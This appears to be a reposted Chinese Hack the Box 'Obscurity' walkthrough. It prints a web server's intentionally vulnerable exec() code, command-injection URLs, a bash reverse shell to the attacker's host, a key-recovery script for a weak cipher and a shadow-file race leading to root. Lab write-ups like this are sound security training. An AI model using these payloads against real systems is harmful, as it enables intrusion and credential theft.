专栏首页Khan安全团队Hack the Box - Obscurity

Hack the Box - Obscurity

大家好,今天给大家带来的CTF挑战靶机是来自hackthebox的“Obscurity”,hackthebox是一个非常不错的在线实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有。本级靶机难度为中等级别,任务是找到靶机上的user.txt和root.txt。


摘要
  • 源码泄露 & RCE
  • 加密脚本破解 & 获取用户
  • root 密码破解


信息收集

nmap扫出了 22 , 8080 端口

root@localhost:~/hackthebox_workspace/finish/Obscurity# nmap -v -Pn -A 10.10.10.168
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-04 16:17 CST 
Scanning obscurity.htb (10.10.10.168) [1000 ports] 
Discovered open port 8080/tcp on 10.10.10.168 
Discovered open port 22/tcp on 10.10.10.168 
SYN Stealth Scan Timing: About 42.25% done; ETC: 16:18 (0:00:42 remaining)
Completed SYN Stealth Scan at 16:18, 49.61s elapsed (1000 total ports) 
Initiating Service scan at 16:18 
Scanning 2 services on obscurity.htb (10.10.10.168) 
Nmap scan report for obscurity.htb (10.10.10.168) 
Host is up (0.43s latency). 
Not shown: 996 filtered ports 
PORT STATE SERVICE VERSION 
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 
| ssh-hostkey: 
| 2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA) 
| 256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA) 
|_ 256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519) 
80/tcp closed http 
8080/tcp open http-proxy BadHTTPServer

查看 8080 的 web ,发现提示 SuperSecureServer.py

已知文件名为 SuperSecureServer.py,然后我们使用wufzz扫描路径

root@localhost:~/hackthebox_workspace/finish/Obscurity# wfuzz -w /usr/share/wordlists/wfuzz/general/common.txt --hc 404 http://obscurity.htb:8080/FUZZ/SuperSecureServer.py    
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4 - The Web Fuzzer         *
********************************************************
Target: http://obscurity.htb:8080/FUZZ/SuperSecureServer.py
Total requests: 949
===================================================================
ID           Response   Lines    Word     Chars       Payload       
===================================================================
000000259:   200        170 L    498 W    5892 Ch     "develop"     
Finishing pending requests...

路径为 :

http://obscurity.htb:8080/develop/SuperSecureServer.py


源码泄露 & getshell

得出源码

import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK", 
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}


class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False

    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]

        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"


        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

vuln 代码如下:

path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?

发现了 exec() 执行命令,可以构造命令注入

虽然python默认省略 ; 符号,但我们仍可以利用 ; 分割代码语句

利用ping -c 4测试是否成功

payload为:

> http:/obscurity:8080/';os.system('ping -c 4 10.10.xx.xxx');path='/';'

burp查看数据包返回时间判断是否成功

图片

反弹脚本为

root@localhost:~/hackthebox_workspace/finish/Obscurity# cat shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.xx.xx/xxxx 0>&1

用 SimpleHTTPServer 模块传输反弹脚本

> python -m SimpleHTTPServer 80

触发反弹url为(依次执行,并且在执行前用 nc 监听端口):

> http:/obscurity:8080/';os.system('wget http://10.10.xx.xx/shell.sh -0 /tmp/shell.sh');path='/';'

>http:/obscurity:8080/';os.system('chmod +x /tmp/shell.sh');path='/';'

> http:/obscurity:8080/';os.system('./tmp/shell.sh');path='/';'

加密脚本破解

获得shell后枚举发现用户 robert

在 robert 文件夹下发现功能为加密的脚本

脚本源码为

import sys
import argparse
def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted
def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted
parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')

parser.add_argument('-i',
                    metavar='InFile',
                    type=str,
                    help='The file to read',
                    required=False)

parser.add_argument('-o',
                    metavar='OutFile',
                    type=str,
                    help='Where to output the encrypted/decrypted file',
                    required=False)

parser.add_argument('-k',
                    metavar='Key',
                    type=str,
                    help='Key to use',
                    required=False)

parser.add_argument('-d', action='store_true', help='Decrypt mode')

args = parser.parse_args()

banner = "################################\n"
banner+= "#           BEGINNING          #\n"
banner+= "#    SUPER SECURE ENCRYPTOR    #\n"
banner+= "################################\n"
banner += "  ############################\n"
banner += "  #        FILE MODE         #\n"
banner += "  ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
    print("Missing args")
else:
    if args.d:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Decrypting...")
        decrypted = decrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(decrypted)
    else:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Encrypting...")
        encrypted = encrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(encrypted)

主要源码:

for x in text:
>        keyChr = key[keyPos]
>        newChr = ord(x)
>        newChr = chr((newChr + ord(keyChr)) % 255)
>        encrypted += newChr
>        keyPos += 1
>        keyPos = keyPos % keylen
> ```
> (字符串的每个字的10进制) -(输入的key密钥的10进制) 
> 
>   得出的东西再编码成10进制  
> *简单的10进制加解密*  

破解脚本

import sys
import argparse


def decrypt(entext,detext):
    keyword = ""
    a=-1
    for x in entext:
        a += 1
        newChr=ord(x)
        for i in range(48,123):
            decrypted=chr((newChr-i)%255)
            if decrypted == detext[a]:
                print(detext[a],end=" ")
                keyword += chr(i)+" "
                break
    return keyword

def main():
    parser = argparse.ArgumentParser(description='Dencrypt programming')
    parser.add_argument('-e',metavar='',type=str,help='Encrypted word',required=False)
    parser.add_argument('-t',metavar='',type=str,help='The plaintext you already know',required=False)
    args = parser.parse_args()
    if args.e != None or args.t != None:
        print("Reading file {0}".format(args.e))
        with open(args.e,'r',encoding='UTF-8') as f:
            endata=f.read()
        with open(args.t,'r',encoding='UTF-8') as f:
            dedata=f.read()
        print(decrypt(endata,dedata))  
    else:
        print("./decry.py -e demo -t demo")

if __name__ == "__main__":
    main()

chmod +x decry.py

./decry.py -e /home/robert/out.txt -p /home/robert/check.txt

得出密钥

alexandrovich

把密钥写到key文件中

touch /home/robert/key

echo "alexandrovich" >> /home/robert/key

./decry.py -e /home/robert/passwordreminder.txt -p /home/robert/key

得到密码并ssh登录robert得到user.txt

root 获取

在用户的文件夹下面有一个 root 所有的文件夹

打开发现脚本

脚本源码如下

import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:]
            break

    if salt == "":
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    salt = '$6$'+salt+'$'
    realPass = salt + realPass
    hash = crypt.crypt(passW, salt)

    if hash == realPass:
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')

脚本把文件移到 /tmp/SSH/ 下

然后判断用户输入的账号密码,判断失败后会将文件删除

破解后获得root密码

john passenc
su root
cat ~/root.txt

手握日月摘星辰,安全路上永不止步。

本文分享自微信公众号 - Khan安全团队(KhanCJSH),作者:n00B

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-03-10

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 关于项目里面的硬核漏洞(找不到漏洞看这里)

    以下漏洞过于硬核又比较相对容易挖掘,毕竟我是实习两年半的低危文档工程师。(可能写的不太全)适合在渗透里面没有找到漏洞,以防尴尬。

    Aran
  • 文件包含之通过phpinfo去Getshell

    phpinfo文件泄露一直被大家所忽视,但其实phpinfo可以为攻击渗透测试人员提供很多的信息。

    Aran
  • 漏洞预警:CVE-2019-11043/PHP-FPM(RCE)

    2019年9月26日,PHP官方发布漏洞通告称nginx + php-fpm服务器在部分错误配置下存在远程代码执行漏洞。2019年10月22日,外籍白帽子And...

    Aran
  • python练习记录

    py3study
  • Python最容易掉进去的10个坑

    相比于其他语言,Python的语法比较简单易学,但一旦不注意细节,刚入门的新手很容易就会掉进语法错误的坑里。

    sergiojune
  • Python基础语法

    https://www.liaoxuefeng.com/wiki/0014316089557264a6b348958f449949df42a6d3a2e542c...

    六月的雨
  • Python 入门笔记

    Python 入门非常简单,但是对于 Python 的基础知识确也有许多非常重要的内容,为了入门,我决定重新学习一遍 Python。首先从网上的课程开始。

    zucchiniy
  • Python中复合数据类型(list,turple以及切片,循环等操作)

    现在,c这个tuple不能变了,它没有append(),insert()这样的方法。但你可以使用c[0],c[-1],但不能赋值成另外的元素。 因为tupl...

    李智
  • 练习

    py3study
  • python 多进程 事件(并行编程 14)

    from multiprocessing import Event,Process import time import random

    用户5760343

扫码关注云+社区

领取腾讯云代金券